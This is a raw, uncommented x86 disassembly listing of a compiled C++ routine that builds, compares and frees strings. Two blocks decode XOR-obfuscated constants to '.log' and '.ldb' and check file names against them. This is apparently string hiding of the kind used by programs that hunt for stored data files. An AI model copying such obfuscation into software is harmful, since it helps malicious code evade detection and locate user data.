mov word [ebp - 0x3f], 0x5c
lea edx, [ecx + 1]
mov byte [ebp - 0x3d], 0
lea ecx, [ecx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1358760
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebp - 0x13c]
sub eax, edx
cmp eax, ecx
jb 0x135910d
cmp dword [ebp - 0x138], 0x10
lea eax, [ebp - 0x14c]
jb 0x1358793
mov eax, dword [ebp - 0x14c]
push ecx
lea ecx, [ebp - 0x3f]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x18]
lea ecx, [ebp - 0xf8]
call fcn.01396210
or ebx, 0x400
mov dword [ebp - 0x14], ebx
push esi
lea eax, [ebp - 0xf8]
mov dword [ebp - 4], 0x1b
push eax
push dword [ebp - 0x18]
lea ecx, [ebp - 0x134]
call fcn.01396000
or ebx, 0x4000
mov dword [ebp - 0x14], ebx
lea eax, [ebp - 0xb3]
mov byte [ebp - 4], 0x1c
push eax
lea ecx, [ebp - 0x134]
call fcn.0138e6a0
mov edx, eax
or ebx, 0x2000
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x14], ebx
mov ecx, dword [edx]
mov eax, dword [edx + 0x14]
mov dword [ebp - 0x164], ecx
mov ecx, dword [edx + 4]
mov dword [ebp - 0x160], ecx
mov ecx, dword [edx + 8]
mov dword [ebp - 0x15c], ecx
mov ecx, dword [edx + 0xc]
mov dword [ebp - 0x158], ecx
mov ecx, dword [edx + 0x10]
mov dword [ebp - 0x154], ecx
mov dword [ebp - 0x150], eax
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov byte [ebp - 4], 0x1e
mov ecx, dword [ebp - 0x120]
cmp ecx, 0x10
jb 0x1358880
mov edx, dword [ebp - 0x134]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1358876
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1359112
push ecx
push edx
call fcn.01403731
add esp, 8
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x120], 0xf
mov byte [ebp - 0x134], 0
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp - 0xe4]
cmp ecx, 0x10
jb 0x13588d9
mov edx, dword [ebp - 0xf8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x13588cf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1359112
push ecx
push edx
call fcn.01403731
add esp, 8
mov byte [ebp - 4], 0x20
test bl, 0x10
je 0x135891f
mov ecx, dword [ebp - 0x50]
and ebx, 0xffffffef
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x14], ebx
cmp ecx, 0x10
jb 0x135891f
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1358915
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1359112
push ecx
push edx
call fcn.01403731
add esp, 8
mov byte [ebp - 4], 0x21
test bl, 8
je 0x135896b
mov ecx, dword [ebp - 0x19c]
and ebx, 0xfffffff7
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x14], ebx
cmp ecx, 0x10
jb 0x135896b
mov edx, dword [ebp - 0x1b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1358961
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1359112
push ecx
push edx
call fcn.01403731
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x164]
mov ecx, esp
push eax
call fcn.0138e990
push 1
xor dl, dl
lea ecx, [ebp - 0x118]
call fcn.01346430
add esp, 0x1c
mov byte [ebp - 4], 0x22
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x114]
sub ecx, dword [ebp - 0x118]
imul ecx
mov dword [ebp - 0x10c], 0
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x1358f02
xor edi, edi
mov dword [ebp - 0x48], edi
jmp 0x13589d0
mov dword [ebp - 0x76], 0x858e8cf1
xor ecx, ecx
mov word [ebp - 0x72], 0x100
nop
mov al, cl
sub al, 0x21
xor byte [ebp + ecx - 0x76], al
inc ecx
cmp ecx, 4
jb 0x13589e0
xor eax, eax
mov byte [ebp - 0x71], 0
lea ecx, [ebp - 0x76]
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], eax
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1358a10
sub ecx, edx
lea eax, [ebp - 0x76]
push ecx
push eax
lea ecx, [ebp - 0x64]
call fcn.013282e0
mov byte [ebp - 4], 0x23
or ebx, 0x20
mov edx, dword [ebp - 0x118]
add edx, edi
mov dword [ebp - 0x14], ebx
cmp dword [edx + 0x14], 0x10
jb 0x1358a40
mov edx, dword [edx]
xor eax, eax
mov ecx, edx
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x128], eax
lea esi, [ecx + 1]
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x120], eax
jmp 0x1358a70
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1358a70
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x134]
call fcn.013282e0
mov dword [ebp - 4], 0x24
or ebx, 0x40
mov edx, dword [ebp - 0x124]
mov esi, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x134]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x180], ebx
cmp edx, esi
jb 0x1358b13
mov eax, edx
sub eax, esi
cmp edx, eax
jb 0x1359121
cmp dword [ebp - 0x50], 0x10
lea edi, [ebp - 0x64]
jb 0x1358acc
mov edi, ecx
sub edx, eax
cmp edx, esi
jb 0x1358ad4
mov edx, esi
cmp dword [ebp - 0x120], 0x10
lea ecx, [ebp - 0x134]
jb 0x1358ae5
mov ecx, ebx
push esi
add ecx, eax
push edi
call fcn.01393e50
add esp, 8
test eax, eax
jne 0x1358b10
mov esi, dword [ebp - 0xf8]
mov ebx, dword [ebp - 0xa0]
mov edi, dword [ebp - 0xb4]
mov byte [ebp - 0x3b], 1
jmp 0x1358c7c
mov edi, dword [ebp - 0x48]
mov dword [ebp - 0x1e], 0x80858cf1
xor ecx, ecx
mov word [ebp - 0x1a], 0x100
mov al, cl
sub al, 0x21
xor byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 4
jb 0x1358b22
xor eax, eax
mov byte [ebp - 0x19], 0
lea ecx, [ebp - 0x1e]
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0xf4], eax
lea edx, [ecx + 1]
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0xec], eax
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xe4], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1358b60
sub ecx, edx
lea eax, [ebp - 0x1e]
push ecx
push eax
lea ecx, [ebp - 0xf8]
call fcn.013282e0
mov dword [ebp - 4], 0x25
mov edx, dword [ebp - 0x118]
mov ebx, dword [ebp - 0x28]
add edx, edi
or ebx, 0x80
mov dword [ebp - 0x14], ebx
cmp dword [edx + 0x14], 0x10
jb 0x1358b9c
mov edx, dword [edx]
xor eax, eax
mov ecx, edx
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], eax
mov dword [ebp - 0xa8], eax
lea esi, [ecx + 1]
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xa0], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1358bc7
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0xb4]
call fcn.013282e0
mov dword [ebp - 4], 0x26
or ebx, 0x100
mov edx, dword [ebp - 0xa4]
mov esi, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xf8]
mov edi, dword [ebp - 0xb4]
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0xa0]
mov dword [ebp - 0xb8], ecx
cmp edx, esi
jb 0x1358c72
mov eax, edx
sub eax, esi
cmp edx, eax
jb 0x1359121
cmp dword [ebp - 0xe4], 0x10
lea ebx, [ebp - 0xf8]
mov dword [ebp - 0x4c], ebx
mov ebx, dword [ebp - 0xa0]
jb 0x1358c3f
mov dword [ebp - 0x4c], ecx
sub edx, eax
cmp edx, esi
jb 0x1358c47
mov edx, esi
lea ecx, [ebp - 0xb4]
cmp ebx, 0x10
jb 0x1358c54
mov ecx, edi
push esi
push dword [ebp - 0x4c]
add ecx, eax
call fcn.01393e50
add esp, 8
test eax, eax
jne 0x1358c72
mov esi, dword [ebp - 0xb8]
mov byte [ebp - 0x3b], 1
jmp 0x1358c7c
mov esi, dword [ebp - 0xb8]
mov byte [ebp - 0x3b], 0
mov dword [ebp - 4], 0x25
mov eax, dword [ebp - 0x28]
test eax, 0x100
je 0x1358cc8
and eax, 0xfffffeff
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x14], eax
cmp ebx, 0x10
jb 0x1358cc8
lea ecx, [ebx + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x1358cbe
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1359112
push ecx
push edi
call fcn.01403731
add esp, 8
mov dword [ebp - 4], 0x24
mov ebx, dword [ebp - 0x28]
test bl, bl
jns 0x1358d18
mov eax, dword [ebp - 0xe4]
and ebx, 0xffffff7f
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x14], ebx
cmp eax, 0x10
jb 0x1358d18
lea ecx, [eax + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x1358d0e
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1359112
push ecx
push esi
call fcn.01403731
add esp, 8
mov dword [ebp - 4], 0x23
test bl, 0x40
je 0x1358d69
mov eax, dword [ebp - 0x120]
and ebx, 0xffffffbf
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x14], ebx
cmp eax, 0x10
jb 0x1358d69
mov edx, dword [ebp - 0x180]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x1358d5f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1359112
push ecx
push edx
call fcn.01403731
add esp, 8
mov dword [ebp - 4], 0x22
test bl, 0x20
je 0x1358db4
mov eax, dword [ebp - 0x50]
and ebx, 0xffffffdf
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x14], ebx
cmp eax, 0x10
jb 0x1358db4
mov edx, dword [ebp - 0x18]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x1358daa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1359112
push ecx
push edx
call fcn.01403731
add esp, 8
cmp byte [ebp - 0x3b], 0
je 0x1358ec7
sub esp, 0x18
lea eax, [ebp - 0x17c]
mov ecx, esp
mov dword [ebp - 0x18], esp
push eax
call fcn.0138e990
sub esp, 0x18
mov byte [ebp - 4], 0x27
mov eax, dword [ebp - 0x118]
mov ecx, esp
add eax, dword [ebp - 0x48]
push eax
call fcn.0138e990
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 0x22
call fcn.01356eb0
add esp, 0x30
mov byte [ebp - 4], 0x28
mov eax, 0x38e38e39
mov ecx, dword [ebp - 0x84]
mov esi, dword [ebp - 0x88]
sub ecx, esi
imul ecx
mov dword [ebp - 0x4c], 0
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x1358eb8
xor ebx, ebx
mov edi, edi
mov eax, dword [ebp - 0x11c]
lea edi, [esi + ebx]
push edi
mov esi, dword [eax + 4]
cmp esi, dword [eax + 8]
je 0x1358e7c
mov ecx, esi
mov dword [ebp - 0x18], esi
call fcn.0138e990
lea eax, [edi + 0x18]
mov byte [ebp - 4], 0x29
lea ecx, [esi + 0x18]
push eax
call fcn.0138e990
lea eax, [edi + 0x30]
mov byte [ebp - 4], 0x2a
lea ecx, [esi + 0x30]
push eax
call fcn.0138e990
mov byte [ebp - 4], 0x28
mov eax, dword [ebp - 0x11c]
add dword [eax + 4], 0x48
jmp 0x1358e84
push esi
mov ecx, eax
call fcn.0139a370
mov ecx, dword [ebp - 0x84]
mov eax, 0x38e38e39
mov esi, dword [ebp - 0x88]
add ebx, 0x48
mov edi, dword [ebp - 0x4c]
sub ecx, esi
imul ecx
inc edi
sar edx, 4
mov eax, edx
mov dword [ebp - 0x4c], edi
shr eax, 0x1f
add eax, edx
cmp edi, eax
jb 0x1358e30
mov ebx, dword [ebp - 0x28]
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 0x22
call fcn.0138b340
mov ecx, dword [ebp - 0x114]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x118]
mov esi, dword [ebp - 0x10c]
mov edi, dword [ebp - 0x48]
inc esi
imul ecx
add edi, 0x18
mov dword [ebp - 0x10c], esi
sar edx, 2
mov eax, edx
mov dword [ebp - 0x48], edi
shr eax, 0x1f
add eax, edx
cmp esi, eax
jb 0x13589d0
lea ecx, [ebp - 0x118]
call fcn.01390a80
mov byte [ebp - 4], 0x16
mov ecx, dword [ebp - 0x150]
cmp ecx, 0x10
jb 0x1358f4b
mov edx, dword [ebp - 0x164]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1358f41
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1359112
push ecx
push edx
call fcn.01403731
add esp, 8
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x184]
cmp ecx, 0x10
jb 0x1358f89
mov edx, dword [ebp - 0x198]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1358f7f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1359112
push ecx
push edx
call fcn.01403731
add esp, 8
mov byte [ebp - 4], 0xc
mov ecx, dword [ebp - 0x1e0]
cmp ecx, 0x10
jb 0x1358fc7
mov edx, dword [ebp - 0x1f4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1358fbd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1359112
push ecx
push edx
call fcn.01403731
add esp, 8
mov ecx, dword [ebp - 0x8c]
inc ecx
mov dword [ebp - 0x8c], ecx
cmp ecx, dword [ebp - 0x90]
jae 0x1358fe7
mov edi, dword [ebp - 0x9c]
jmp 0x13580d0
mov esi, dword [ebp - 0x168]
cmp esi, 0x10
jb 0x1359023
mov edx, dword [ebp - 0x17c]
lea ecx, [esi + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x1359019
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1359112
push ecx
push edx
call fcn.01403731
add esp, 8
mov ecx, dword [ebp - 0x1b4]
cmp ecx, 0x10
jb 0x135905d
mov edx, dword [ebp - 0x1c8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1359053
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1359112
push ecx
push edx
call fcn.01403731
add esp, 8
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x1b8], 0
mov dword [ebp - 0x1b4], 0xf
mov byte [ebp - 0x1c8], 0
call fcn.01390a80
mov ecx, dword [ebp - 0x138]
cmp ecx, 0x10
jb 0x13590b9
mov edx, dword [ebp - 0x14c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x13590af
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1359112
push ecx
push edx
call fcn.01403731
add esp, 8
mov ecx, dword [ebp + 0x20]
cmp ecx, 0x10
jb 0x13577d9
mov edx, dword [ebp + 0xc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x13577cf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1359112
jmp 0x13577cf
push ecx
push edx
call fcn.01403731
add esp, 8
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.01327a70
call fcn.014089d0
call fcn.01327a70
call fcn.014089d0
call fcn.01391e80
int3